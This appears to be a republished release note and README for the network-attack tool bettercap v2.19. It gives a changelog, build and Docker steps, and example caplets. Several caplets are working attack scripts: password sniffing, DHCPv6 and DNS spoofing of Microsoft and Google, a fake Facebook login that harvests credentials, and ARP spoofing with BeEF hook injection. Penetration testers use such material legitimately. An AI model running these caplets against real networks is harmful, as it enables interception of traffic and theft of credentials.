bettercap v2.19 releases: Swiss army knife for network attacks and monitoring

bettercap is the Swiss army knife for network attacks and monitoring.

Bettercap v2.19 released.

Changelog

New Features

  • MouseJacking (hid module) is now available for Android
  • hid.inject now supports non visible devices (talking directly to the dongle) via the hid.force.typeparameter
  • new -version command line argument to print version, build information and exit
  • new events.stream.time.format parameter (closes #476)
  • parsing GPGGA messages other than just GNGGA for the gps module (fixes #473)
  • new readDir function available for the javascript proxy plugins

Fixes

  • showing warning about hid failed frames only if every attempt failed
  • fixed linux build issue due to mdlayher/raw (fixes #468)
  • fixed a bug which prevented some keys from being correctly parsed from the duckyscript parser (fixes #466)

Misc

  • improved build script
  • updated dependencies

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Docker

In this repository, BetterCAP is containerized using Alpine Linux – a security-oriented, lightweight Linux distribution based on musl libc and busybox. The resulting Docker image is relatively small and easy to manage the dependencies.

To pull latest BetterCAP version of the image:

$ docker pull evilsocket/bettercap-ng

To run:

$ docker run -it --privileged --net=host evilsocket/bettercap-ng -h

Compiling

Make sure you have a correctly configured Go >= 1.8 environments, that $GOPATH/bin is in $PATH and the libpcap-dev package installed on your system, then:

$ go get github.com/evilsocket/bettercap-ng

To show the command line options:

$ sudo bettercap-ng -h

Usage of ./bettercap-ng:
  -caplet string
        Read commands from this file and execute them in the interactive session.
  -debug
        Print debug messages.
  -eval string
        Run a command, used to set variables via command line.
  -iface string
        Network interface to bind to.
  -no-history
        Disable history file.
  -silent
        Suppress all logs which are not errors.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Caplets

Interactive sessions can be scripted with .cap files, or caplets, the following are a few basic examples, look the caplets folder for more.

caplets/simple-password-sniffer.cap

Simple password sniffer.

# keep reading arp table for network mapping
net.recon on
# setup a regular expression for packet payloads
set net.sniff.regexp .*password=.+
# set the sniffer output file
set net.sniff.output passwords.pcap
# start the sniffer
net.sniff on

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

caplets/mitm6.cap

Reroute DNS requests by using DHCPv6 replies, start an HTTP server and DNS spoofer for microsoft.com and google.com.

# let's spoof Microsoft and Google ^_^
set dns.spoof.domains microsoft.com, google.com
set dhcp6.spoof.domains microsoft.com, google.com

# every request http request to the spoofed hosts will come to us
# let's give em some contents
set http.server.path caplets/www

# check who's alive on the network
net.recon on
# serve files
http.server on
# redirect DNS request by spoofing DHCPv6 packets
dhcp6.spoof on
# send spoofed DNS replies ^_^
dns.spoof on

# set a custom prompt for ipv6
set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset}
# clear the events buffer and the screen
events.clear
clear

 

 

 

 

 

 

 

 

 

 

 

 

 

 

caplets/rest-api.cap

Start a rest API.

# change these!
set api.rest.username bcap
set api.rest.password bcap
# set api.rest.port 8082

# actively probe network for new hosts
net.probe on
net.recon on

# enjoy /api/session and /api/events
api.rest on

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Get information about the current session:

curl -k –user bpcap:bcap https://bettercap-ip:8083/api/session

Execute a command in the current interactive session:

curl -k –user bcap:bcap https://bettercap-ip:8083/api/session -H “Content-Type: application/json” -X POST -d ‘{“cmd”:”net.probe on”}’

Get last 50 events:

curl -k –user bpcap:bcap https://bettercap-ip:8083/api/events?n=50

Clear events:

curl -k –user bpcap:bcap -X DELETE https://bettercap-ip:8083/api/events

caplets/fb-phish.cap

This caplet will create a fake Facebook login page on port 80, intercept login attempts using the http.proxy, print credentials and redirect the target to the real Facebook.

Make sure to create the folder first:

$ cd caplets/www/
$ make
set http.server.address 0.0.0.0
set http.server.path caplets/www/www.facebook.com/

set http.proxy.script caplets/fb-phish.js

http.proxy on
http.server on

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The caplets/fb-phish.js proxy script file:

caplets/beef-inject.cap

Use a proxy script to inject a BEEF javascript hook:

# targeting the whole subnet by default, to make it selective:
#
#   sudo ./bettercap-ng -caplet caplets/beef-active.cap -eval "set arp.spoof.targets 192.168.1.64"

# inject beef hook
set http.proxy.script caplets/beef-inject.js
# keep reading arp table for network mapping
net.recon on
# redirect http traffic to a proxy
http.proxy on
# wait for everything to start properly
sleep 1
# make sure probing is off as it conflicts with arp spoofing
arp.spoof on

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The caplets/beef.inject.js proxy script file:

Interactive Mode

Interactive mode allows you to start and stop modules manually on the fly, change options and apply new firewall rules on the fly, to show the help menu type help, you can have module specific help by using help module-name.

Tutorial

Copyright (C) 2018 Simone Margaritelli

Source: https://github.com/evilsocket/

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